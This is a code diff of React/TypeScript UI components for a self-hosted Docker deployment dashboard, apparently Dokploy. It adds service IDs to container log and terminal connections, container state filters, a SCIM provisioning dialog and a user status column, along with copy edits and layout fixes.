checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</FormItem>
)}
/>
)}
{backupType === "compose" && (
<>
{form.watch("databaseType") === "postgres" && (

View File

@@ -345,7 +345,7 @@ export const RestoreBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -427,7 +427,7 @@ export const RestoreBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>

View File

@@ -23,6 +23,7 @@ interface Props {
containerId: string;
serverId?: string | null;
runType: "swarm" | "native";
serviceId?: string;
}
export const priorities = [
@@ -52,6 +53,7 @@ export const DockerLogsId: React.FC<Props> = ({
containerId,
serverId,
runType,
serviceId,
}) => {
const { data } = api.docker.getConfig.useQuery(
{
@@ -157,6 +159,10 @@ export const DockerLogsId: React.FC<Props> = ({
params.append("serverId", serverId);
}
if (serviceId) {
params.append("serviceId", serviceId);
}
const wsUrl = `${protocol}//${
window.location.host
}/docker-container-logs?${params.toString()}`;
@@ -222,7 +228,7 @@ export const DockerLogsId: React.FC<Props> = ({
ws.close();
}
};
}, [containerId, serverId, lines, search, since]);
}, [containerId, serverId, serviceId, lines, search, since]);
const handleDownload = () => {
const logContent = filteredLogs

View File

@@ -1,10 +1,13 @@
import type { ColumnDef } from "@tanstack/react-table";
import copy from "copy-to-clipboard";
import { ArrowUpDown, MoreHorizontal } from "lucide-react";
import { toast } from "sonner";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
DropdownMenu,
DropdownMenuContent,
DropdownMenuItem,
DropdownMenuLabel,
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
@@ -37,6 +40,7 @@ export const columns: ColumnDef<Container>[] = [
},
{
accessorKey: "state",
filterFn: "equals",
header: ({ column }) => {
return (
<Button
@@ -56,7 +60,7 @@ export const columns: ColumnDef<Container>[] = [
variant={
value === "running"
? "default"
: value === "failed"
: value === "exited" || value === "dead"
? "destructive"
: "secondary"
}
@@ -99,6 +103,28 @@ export const columns: ColumnDef<Container>[] = [
},
cell: ({ row }) => <div className="lowercase">{row.getValue("image")}</div>,
},
{
accessorKey: "ports",
header: ({ column }) => {
return (
<Button
variant="ghost"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
Ports
<ArrowUpDown className="ml-2 h-4 w-4" />
</Button>
);
},
cell: ({ row }) => {
const value = row.getValue("ports") as string;
return (
<div className="max-w-[16rem] truncate lowercase" title={value}>
{value}
</div>
);
},
},
{
id: "actions",
enableHiding: false,
@@ -115,6 +141,14 @@ export const columns: ColumnDef<Container>[] = [
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DropdownMenuItem
onClick={() => {
copy(container.containerId);
toast.success("Container ID copied to clipboard");
}}
>
Copy Container ID
</DropdownMenuItem>
<ShowDockerModalLogs
containerId={container.containerId}
serverId={container.serverId}

View File

@@ -9,7 +9,7 @@ import {
useReactTable,
type VisibilityState,
} from "@tanstack/react-table";
import { ChevronDown, Container } from "lucide-react";
import { ChevronDown, Container, RefreshCw } from "lucide-react";
import * as React from "react";
import { Button } from "@/components/ui/button";
import {
@@ -26,6 +26,13 @@ import {
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import {
Table,
TableBody,
@@ -44,10 +51,26 @@ interface Props {
serverId?: string;
}
const CONTAINER_STATES = [
"running",
"exited",
"paused",
"restarting",
"created",
"removing",
"dead",
];
export const ShowContainers = ({ serverId }: Props) => {
const { data, isPending } = api.docker.getContainers.useQuery({
serverId,
});
const { data, isPending, refetch, isRefetching } =
api.docker.getContainers.useQuery(
{
serverId,
},
{
refetchInterval: 10_000,
},
);
const [sorting, setSorting] = React.useState<SortingState>([]);
const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>(
@@ -106,12 +129,48 @@ export const ShowContainers = ({ serverId }: Props) => {
}
className="md:max-w-sm"
/>
<Select
value={
(table.getColumn("state")?.getFilterValue() as string) ??
"all"
}
onValueChange={(value) =>
table
.getColumn("state")
?.setFilterValue(value === "all" ? undefined : value)
}
>
<SelectTrigger className="w-40 max-sm:w-full capitalize">
<SelectValue placeholder="Filter by state" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All states</SelectItem>
{CONTAINER_STATES.map((state) => (
<SelectItem
key={state}
value={state}
className="capitalize"
>
{state}
</SelectItem>
))}
</SelectContent>
</Select>
<Button
variant="outline"
size="icon"
className="shrink-0 sm:ml-auto"
onClick={() => refetch()}
disabled={isRefetching}
>
<RefreshCw
className={`h-4 w-4 ${isRefetching ? "animate-spin" : ""}`}
/>
<span className="sr-only">Refresh</span>
</Button>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button
variant="outline"
className="sm:ml-auto max-sm:w-full"
>
<Button variant="outline" className="max-sm:w-full">
Columns <ChevronDown className="ml-2 h-4 w-4" />
</Button>
</DropdownMenuTrigger>

View File

@@ -23,12 +23,14 @@ interface Props {
containerId: string;
serverId?: string;
children?: React.ReactNode;
serviceId?: string;
}
export const DockerTerminalModal = ({
children,
containerId,
serverId,
serviceId,
}: Props) => {
const [mainDialogOpen, setMainDialogOpen] = useState(false);
const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
@@ -74,6 +76,7 @@ export const DockerTerminalModal = ({
id="terminal"
containerId={containerId}
serverId={serverId || ""}
serviceId={serviceId}
/>
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -10,12 +10,14 @@ interface Props {
id: string;
containerId?: string;
serverId?: string;
serviceId?: string;
}
export const DockerTerminal: React.FC<Props> = ({
id,
containerId,
serverId,
serviceId,
}) => {
const termRef = useRef(null);
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
@@ -38,7 +40,7 @@ export const DockerTerminal: React.FC<Props> = ({
const addonFit = new FitAddon();
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
const ws = new WebSocket(wsUrl);

View File

@@ -1,5 +1,5 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -229,6 +229,7 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
)}
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.libsqlId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -1,5 +1,5 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -236,6 +236,7 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
))}
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mariadbId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -1,5 +1,5 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -230,6 +230,7 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mongoId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -1,5 +1,5 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -228,6 +228,7 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mysqlId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -93,7 +93,8 @@ export function AddOrganization({ organizationId }: Props) {
.catch((error) => {
console.error(error);
toast.error(
`Failed to ${organizationId ? "update" : "create"} organization`,
error?.message ??
`Failed to ${organizationId ? "update" : "create"} organization`,
);
});
};

View File

@@ -1,5 +1,5 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -234,6 +234,7 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.postgresId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -1,5 +1,5 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -229,6 +229,7 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.redisId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -1,11 +1,4 @@
import {
Area,
AreaChart,
CartesianGrid,
ResponsiveContainer,
XAxis,
YAxis,
} from "recharts";
import { Area, AreaChart, CartesianGrid, XAxis, YAxis } from "recharts";
import {
type ChartConfig,
ChartContainer,
@@ -49,65 +42,60 @@ export const RequestDistributionChart = ({
);
return (
<div className="w-full h-[200px] overflow-hidden">
<ResponsiveContainer
width="100%"
height="100%"
className="overflow-hidden"
<ChartContainer
config={chartConfig}
className="aspect-auto h-[200px] w-full"
>
<AreaChart
accessibilityLayer
data={stats || []}
margin={{
top: 10,
left: 12,
right: 12,
bottom: 0,
}}
>
<ChartContainer config={chartConfig}>
<AreaChart
accessibilityLayer
data={stats || []}
margin={{
top: 10,
left: 12,
right: 12,
bottom: 0,
}}
>
<CartesianGrid vertical={false} />
<XAxis
dataKey="hour"
tickLine={false}
axisLine={false}
tickMargin={8}
tickFormatter={(value) =>
new Date(value).toLocaleTimeString([], {
hour: "2-digit",
minute: "2-digit",
})
}
/>
<YAxis
tickLine={false}
axisLine={false}
tickMargin={8}
allowDataOverflow={false}
domain={[0, "auto"]}
/>
<ChartTooltip
cursor={false}
content={<ChartTooltipContent indicator="line" />}
labelFormatter={(value) =>
new Date(value).toLocaleString([], {
month: "short",
day: "numeric",
hour: "2-digit",
minute: "2-digit",
})
}
/>
<Area
dataKey="count"
type="monotone"
fill="hsl(var(--chart-1))"
fillOpacity={0.4}
stroke="hsl(var(--chart-1))"
/>
</AreaChart>
</ChartContainer>
</ResponsiveContainer>
</div>
<CartesianGrid vertical={false} />
<XAxis
dataKey="hour"
tickLine={false}
axisLine={false}
tickMargin={8}
tickFormatter={(value) =>
new Date(value).toLocaleTimeString([], {
hour: "2-digit",
minute: "2-digit",
})
}
/>
<YAxis
tickLine={false}
axisLine={false}
tickMargin={8}
allowDataOverflow={false}
domain={[0, "auto"]}
/>
<ChartTooltip
cursor={false}
content={<ChartTooltipContent indicator="line" />}
labelFormatter={(value) =>
new Date(value).toLocaleString([], {
month: "short",
day: "numeric",
hour: "2-digit",
minute: "2-digit",
})
}
/>
<Area
dataKey="count"
type="monotone"
fill="hsl(var(--chart-1))"
fillOpacity={0.4}
stroke="hsl(var(--chart-1))"
/>
</AreaChart>
</ChartContainer>
);
};

View File

@@ -32,10 +32,11 @@ import {
SelectValue,
} from "@/components/ui/select";
import { Switch } from "@/components/ui/switch";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
import { api } from "@/utils/api";
const formSchema = z.object({
name: z.string().min(1, "Name is required"),
name: apiKeyNameSchema,
prefix: z.string().optional(),
expiresIn: z.number().nullable(),
organizationId: z.string().min(1, "Organization is required"),
@@ -159,8 +160,15 @@ export const AddApiKey = () => {
<FormItem>
<FormLabel>Name</FormLabel>
<FormControl>
<Input placeholder="My API Key" {...field} />
<Input
placeholder="My API Key"
maxLength={API_KEY_NAME_MAX_LENGTH}
{...field}
/>
</FormControl>
<FormDescription>
Maximum {API_KEY_NAME_MAX_LENGTH} characters
</FormDescription>
<FormMessage />
</FormItem>
)}

View File

@@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => {
</DialogTrigger>
<DialogContent className="sm:max-w-2xl">
<DialogHeader>
<DialogTitle>Add a external registry</DialogTitle>
<DialogTitle>Add an external registry</DialogTitle>
<DialogDescription>
Fill the next fields to add a external registry.
Fill in the following fields to add an external registry.
</DialogDescription>
</DialogHeader>
{(isError || testRegistryIsError || testRegistryByIdIsError) && (

View File

@@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="">
<FormLabel>App Deploy</FormLabel>
<FormDescription>
Trigger the action when a app is deployed.
Trigger the action when an app is deployed.
</FormDescription>
</div>
<FormControl>
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Dokploy Backup</FormLabel>
<FormDescription>
Trigger the action when a dokploy backup is created.
Trigger the action when a Dokploy backup is created.
</FormDescription>
</div>
<FormControl>
@@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel>
<FormDescription>
Trigger the action when the docker cleanup is
performed.
Trigger the action when Docker cleanup is performed.
</FormDescription>
</div>
<FormControl>
@@ -1955,7 +1954,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Dokploy Restart</FormLabel>
<FormDescription>
Trigger the action when dokploy is restarted.
Trigger the action when Dokploy is restarted.
</FormDescription>
</div>
<FormControl>

View File

@@ -4,9 +4,7 @@ import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
// Free tier may set up to 2 concurrent builds; enterprise unlocks more.
const FREE_MAX_CONCURRENCY = 2;
const ENTERPRISE_MAX_CONCURRENCY = 100;
const MAX_CONCURRENCY = 100;
interface Props {
/**
@@ -20,14 +18,10 @@ interface Props {
/**
* Control to set the number of concurrent builds, either for a remote server
* (`serverId` provided) or the local web server (omitted). Available to
* everyone self-hosted up to FREE_MAX_CONCURRENCY; higher values require a
* valid enterprise license. Not shown in cloud.
* (`serverId` provided) or the local web server (omitted). Not shown in cloud.
*/
export const BuildsConcurrency = ({ serverId, label }: Props) => {
const { data: isCloud } = api.settings.isCloud.useQuery();
const { data: haveValidLicense } =
api.licenseKey.haveValidLicenseKey.useQuery();
const serverQuery = api.server.one.useQuery(
{ serverId: serverId ?? "" },
@@ -59,10 +53,7 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
// Concurrent builds are a self-hosted feature; not shown in cloud.
if (isCloud) return null;
const max = haveValidLicense
? ENTERPRISE_MAX_CONCURRENCY
: FREE_MAX_CONCURRENCY;
const clamp = (n: number) => Math.min(max, Math.max(1, n));
const clamp = (n: number) => Math.min(MAX_CONCURRENCY, Math.max(1, n));
const handleSave = async () => {
const parsed = clamp(Number.parseInt(value, 10) || 1);
@@ -101,7 +92,7 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
<Input
type="number"
min={1}
max={max}
max={MAX_CONCURRENCY}
value={value}
onChange={(e) => setValue(e.target.value)}
className="w-20"

View File

@@ -97,6 +97,7 @@ export const ShowUsers = () => {
<TableRow>
<TableHead className="w-[100px]">Email</TableHead>
<TableHead className="text-center">Role</TableHead>
<TableHead className="text-center">Status</TableHead>
<TableHead className="text-center">2FA</TableHead>
<TableHead className="text-center">
@@ -173,6 +174,19 @@ export const ShowUsers = () => {
{member.role}
</Badge>
</TableCell>
<TableCell className="text-center">
<Badge
variant={
member.user.banned
? "destructive"
: "outline"
}
>
{member.user.banned
? "Deactivated"
: "Active"}
</Badge>
</TableCell>
<TableCell className="text-center">
{member.user.twoFactorEnabled
? "Enabled"

View File

@@ -43,7 +43,8 @@ const addServerDomain = z
.string()
.trim()
.toLowerCase()
.refine((val) => VALID_HOSTNAME_REGEX.test(val), {
// empty clears the server domain and reverts to IP-only access
.refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), {
message: INVALID_HOSTNAME_MESSAGE,
}),
letsEncryptEmail: z.string(),
@@ -51,7 +52,7 @@ const addServerDomain = z
certificateType: z.enum(["letsencrypt", "none", "custom"]),
})
.superRefine((data, ctx) => {
if (data.https && !data.certificateType) {
if (data.domain && data.https && !data.certificateType) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
path: ["certificateType"],
@@ -59,6 +60,7 @@ const addServerDomain = z
});
}
if (
data.domain &&
data.https &&
data.certificateType === "letsencrypt" &&
!data.letsEncryptEmail

View File

@@ -40,6 +40,7 @@ interface Props {
children?: React.ReactNode;
serverId?: string;
appType?: "stack" | "docker-compose";
serviceId?: string;
}
export const DockerTerminalModal = ({
@@ -47,6 +48,7 @@ export const DockerTerminalModal = ({
appName,
serverId,
appType,
serviceId,
}: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{
@@ -131,6 +133,7 @@ export const DockerTerminalModal = ({
serverId={serverId || ""}
id="terminal"
containerId={containerId || "select-a-container"}
serviceId={serviceId}
/>
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -87,29 +87,29 @@ export const RebuildDatabase = ({ id, type }: Props) => {
<AlertTriangle className="h-5 w-5 text-destructive" />
Are you absolutely sure?
</AlertDialogTitle>
<AlertDialogDescription className="space-y-2">
<p>This action will:</p>
<ul className="list-disc list-inside space-y-1">
<li>Stop the current database service</li>
<li>Delete all existing data and volumes</li>
<li>Reset to the default configuration</li>
<li>Restart the service with a clean state</li>
</ul>
<p className="font-medium text-destructive mt-4">
This action cannot be undone.
</p>
<AlertDialogDescription asChild>
<div className="space-y-2">
<p>This action will:</p>
<ul className="list-disc list-inside space-y-1">
<li>Stop the current database service</li>
<li>Delete all existing data and volumes</li>
<li>Reset to the default configuration</li>
<li>Restart the service with a clean state</li>
</ul>
<p className="font-medium text-destructive mt-4">
This action cannot be undone.
</p>
</div>
</AlertDialogDescription>
</AlertDialogHeader>
<AlertDialogFooter>
<AlertDialogCancel>Cancel</AlertDialogCancel>
<AlertDialogAction
onClick={handleRebuild}
className="bg-destructive text-destructive-foreground hover:bg-destructive/90"
asChild
disabled={isPending}
variant="destructive"
>
<Button isLoading={isPending} type="submit">
Yes, rebuild database
</Button>
Yes, rebuild database
</AlertDialogAction>
</AlertDialogFooter>
</AlertDialogContent>

View File

@@ -33,7 +33,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
return (
<Dialog>
<DialogTrigger asChild>
<Button variant="outline" size="sm" className="w-full">
<Button variant="outline" size="sm">
<Loader2 className="h-4 w-4 mr-2 animate-spin" />
</Button>
</DialogTrigger>
@@ -82,7 +82,7 @@ export const ShowNodeApplications = ({ serverId }: Props) => {
return (
<Dialog>
<DialogTrigger asChild>
<Button variant="outline" size="sm" className="w-full">
<Button variant="outline" size="sm">
<Layers className="h-4 w-4 mr-2" />
Services
</Button>

View File

@@ -110,7 +110,7 @@ export function NodeCard({ node, serverId }: Props) {
</div>
</div>
<div className="flex justify-end w-full space-x-4">
<div className="flex justify-end w-full gap-4">
<ShowNodeConfig nodeId={node.ID} serverId={serverId} />
<ShowNodeApplications serverId={serverId} />
</div>

View File

@@ -24,7 +24,7 @@ export const ShowNodeConfig = ({ nodeId, serverId }: Props) => {
return (
<Dialog>
<DialogTrigger asChild>
<Button variant="outline" size="sm" className="w-full">
<Button variant="outline" size="sm">
<Settings className="h-4 w-4 mr-2" />
Config
</Button>

View File

@@ -41,6 +41,7 @@ import Link from "next/link";
import { usePathname } from "next/navigation";
import { useEffect, useState } from "react";
import { toast } from "sonner";
import { Badge } from "@/components/ui/badge";
import {
Breadcrumb,
BreadcrumbItem,
@@ -564,6 +565,8 @@ function SidebarLogo() {
const { isMobile } = useSidebar();
const isCollapsed = state === "collapsed" && !isMobile;
const { data: activeOrganization } = api.organization.active.useQuery();
const { data: haveValidLicense } =
api.licenseKey.haveValidLicenseKey.useQuery();
const { data: invitations, refetch: refetchInvitations } =
api.user.getInvitations.useQuery();
@@ -629,9 +632,14 @@ function SidebarLogo() {
isCollapsed && "hidden",
)}
>
<p className="text-sm font-medium leading-none">
{activeOrganization?.name ?? "Select Organization"}
</p>
<div className="flex items-center gap-1.5">
<p className="text-sm font-medium leading-none">
{activeOrganization?.name ?? "Select Organization"}
</p>
{haveValidLicense && (
<Badge variant="blue">Enterprise</Badge>
)}
</div>
</div>
</div>
<ChevronsUpDown

View File

@@ -0,0 +1,235 @@
"use client";
import copy from "copy-to-clipboard";
import { Copy, KeyRound, Loader2, Plus, Trash2 } from "lucide-react";
import { type ReactNode, useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { api } from "@/utils/api";
import { useUrl } from "@/utils/hooks/use-url";
interface Props {
children: ReactNode;
}
export const ScimDialog = ({ children }: Props) => {
const utils = api.useUtils();
const baseURL = useUrl();
const [open, setOpen] = useState(false);
const [newProviderId, setNewProviderId] = useState("");
const [justCreatedToken, setJustCreatedToken] = useState<{
providerId: string;
token: string;
} | null>(null);
const { data: providers = [], isPending } = api.scim.listProviders.useQuery(
undefined,
{ enabled: open },
);
const { mutateAsync: generateToken, isPending: isGenerating } =
api.scim.generateToken.useMutation();
const { mutateAsync: deleteProvider, isPending: isDeleting } =
api.scim.deleteProvider.useMutation();
const scimUrl = `${baseURL || "{baseURL}"}/api/auth/scim/v2`;
const handleGenerate = async () => {
const providerId = newProviderId.trim().toLowerCase();
if (!providerId) return;
try {
const result = await generateToken({ providerId });
setJustCreatedToken({
providerId: result.providerId,
token: result.scimToken,
});
setNewProviderId("");
await utils.scim.listProviders.invalidate();
} catch (err) {
toast.error(
err instanceof Error ? err.message : "Failed to generate SCIM token",
);
}
};
const handleDelete = async (providerId: string) => {
try {
await deleteProvider({ providerId });
toast.success("SCIM provider removed");
await utils.scim.listProviders.invalidate();
} catch (err) {
toast.error(
err instanceof Error ? err.message : "Failed to delete SCIM provider",
);
}
};
const handleCopy = (value: string, label: string) => {
copy(value);
toast.success(`${label} copied`);
};
const handleOpenChange = (next: boolean) => {
setOpen(next);
if (!next) setJustCreatedToken(null);
};
return (
<Dialog open={open} onOpenChange={handleOpenChange}>
<DialogTrigger asChild>{children}</DialogTrigger>
<DialogContent className="sm:max-w-[560px]">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<KeyRound className="size-5" />
SCIM provisioning
</DialogTitle>
<DialogDescription>
Automatically provision, update, and deactivate users from your
identity provider (Okta, Entra ID, etc.). Configure the SCIM
endpoint below in your IdP.
</DialogDescription>
</DialogHeader>
<div className="space-y-4 py-2">
<div className="grid gap-1">
<Label className="text-xs font-medium text-muted-foreground">
SCIM 2.0 endpoint URL
</Label>
<div className="flex items-center gap-2">
<p className="flex-1 break-all rounded-md bg-muted px-2 py-1.5 font-mono text-xs">
{scimUrl}
</p>
<Button
variant="outline"
size="icon"
className="size-8 shrink-0"
onClick={() => handleCopy(scimUrl, "Endpoint URL")}
disabled={!baseURL}
>
<Copy className="size-3.5" />
</Button>
</div>
</div>
{justCreatedToken && (
<div className="rounded-md border border-amber-500/40 bg-amber-500/10 p-3">
<p className="text-sm font-medium">
Bearer token for {justCreatedToken.providerId}
</p>
<p className="mt-1 text-xs text-muted-foreground">
Copy this token now it will not be shown again. Paste it into
your IdP's SCIM configuration.
</p>
<div className="mt-2 flex items-center gap-2">
<p className="flex-1 break-all rounded-md bg-background px-2 py-1.5 font-mono text-xs">
{justCreatedToken.token}
</p>
<Button
variant="outline"
size="icon"
className="size-8 shrink-0"
onClick={() =>
handleCopy(justCreatedToken.token, "Bearer token")
}
>
<Copy className="size-3.5" />
</Button>
</div>
</div>
)}
<div className="space-y-2">
<Label className="text-sm font-medium">
Generate token for a new provider
</Label>
<div className="flex gap-2">
<Input
value={newProviderId}
onChange={(e) => setNewProviderId(e.target.value)}
placeholder="okta, entra, jumpcloud..."
className="font-mono text-sm"
onKeyDown={(e) => {
if (e.key === "Enter") {
e.preventDefault();
void handleGenerate();
}
}}
/>
<Button
size="sm"
onClick={handleGenerate}
disabled={!newProviderId.trim() || isGenerating}
>
<Plus className="mr-1 size-4" />
Generate
</Button>
</div>
<p className="text-xs text-muted-foreground">
Choose a unique identifier for this IdP connection (lowercase,
alphanumeric, dashes).
</p>
</div>
<div className="space-y-2">
<Label className="text-sm font-medium">Existing providers</Label>
{isPending ? (
<div className="flex items-center gap-2 justify-center py-4">
<Loader2 className="size-4 animate-spin text-muted-foreground" />
<span className="text-sm text-muted-foreground">
Loading...
</span>
</div>
) : providers.length === 0 ? (
<p className="rounded-md border border-dashed bg-muted/30 px-3 py-4 text-center text-sm text-muted-foreground">
No SCIM providers configured yet.
</p>
) : (
<ul className="flex flex-col gap-2">
{providers.map((provider) => (
<li
key={provider.id}
className="flex items-center gap-2 rounded-md border bg-muted/30 px-3 py-2"
>
<span className="flex-1 font-mono text-sm">
{provider.providerId}
</span>
<DialogAction
title="Remove SCIM provider"
description={`Remove "${provider.providerId}"? Existing provisioned users will stay but the IdP will no longer be able to sync.`}
type="destructive"
onClick={() => handleDelete(provider.providerId)}
>
<Button
variant="ghost"
size="icon"
className="size-8 shrink-0 text-destructive hover:text-destructive"
disabled={isDeleting}
>
<Trash2 className="size-3.5" />
</Button>
</DialogAction>
</li>
))}
</ul>
)}
</div>
</div>
<DialogFooter>
<Button variant="outline" onClick={() => handleOpenChange(false)}>
Close
</Button>
</DialogFooter>
</DialogContent>
</Dialog>
);
};

View File

@@ -2,6 +2,7 @@
import {
Eye,
KeyRound,
Loader2,
LogIn,
Pencil,
@@ -34,6 +35,7 @@ import { api } from "@/utils/api";
import { useUrl } from "@/utils/hooks/use-url";
import { RegisterOidcDialog } from "./register-oidc-dialog";
import { RegisterSamlDialog } from "./register-saml-dialog";
import { ScimDialog } from "./scim-dialog";
type ProviderForDetails = {
id: string | null;
@@ -169,15 +171,22 @@ export const SSOSettings = () => {
Users can sign in with their organization&apos;s IdP.
</CardDescription>
</div>
<Button
variant="outline"
size="sm"
onClick={() => setManageOriginsOpen(true)}
className="shrink-0"
>
<Shield className="mr-2 size-4" />
Manage origins
</Button>
<div className="flex flex-wrap gap-2 shrink-0">
<Button
variant="outline"
size="sm"
onClick={() => setManageOriginsOpen(true)}
>
<Shield className="mr-2 size-4" />
Manage origins
</Button>
<ScimDialog>
<Button variant="outline" size="sm">
<KeyRound className="mr-2 size-4" />
Manage SCIM
</Button>
</ScimDialog>
</div>
</div>
{isPending ? (

View File

@@ -94,9 +94,10 @@ export function TagFilter({
<CommandEmpty>
<div className="flex flex-col items-center gap-2 py-1">
<span className="text-sm text-muted-foreground">
No tags found.
{tags.length === 0
? "No tags created yet."
: "No tags found."}
</span>
<HandleTag />
</div>
</CommandEmpty>
<CommandGroup>
@@ -118,6 +119,9 @@ export function TagFilter({
);
})}
</CommandGroup>
<div className="flex items-center justify-center p-2 border-t">
<HandleTag />
</div>
</CommandList>
</Command>
</PopoverContent>

View File

@@ -111,19 +111,12 @@ export function TagSelector({
<CommandEmpty>
<div className="flex flex-col items-center gap-2 py-1">
<span className="text-sm text-muted-foreground">
No tags found.
{tags.length === 0
? "No tags created yet."
: "No tags found."}
</span>
<HandleTag />
</div>
</CommandEmpty>
{tags.length === 0 && (
<div className="flex flex-col items-center gap-2 py-4">
<span className="text-sm text-muted-foreground">
No tags created yet.
</span>
<HandleTag />
</div>
)}
<CommandGroup>
{tags.map((tag) => {
const isSelected = selectedTags.includes(tag.id);
@@ -153,6 +146,9 @@ export function TagSelector({
);
})}
</CommandGroup>
<div className="flex items-center justify-center p-2 border-t">
<HandleTag />
</div>
</CommandList>
</Command>
</PopoverContent>

View File

@@ -1,8 +1,7 @@
import * as React from "react";
import { Accordion as AccordionPrimitive } from "radix-ui";
import { cn } from "@/lib/utils";
import { ChevronDownIcon, ChevronUpIcon } from "lucide-react";
import { Accordion as AccordionPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
function Accordion({
className,

View File

@@ -1,10 +1,9 @@
"use client";
import * as React from "react";
import { AlertDialog as AlertDialogPrimitive } from "radix-ui";
import { cn } from "@/lib/utils";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils";
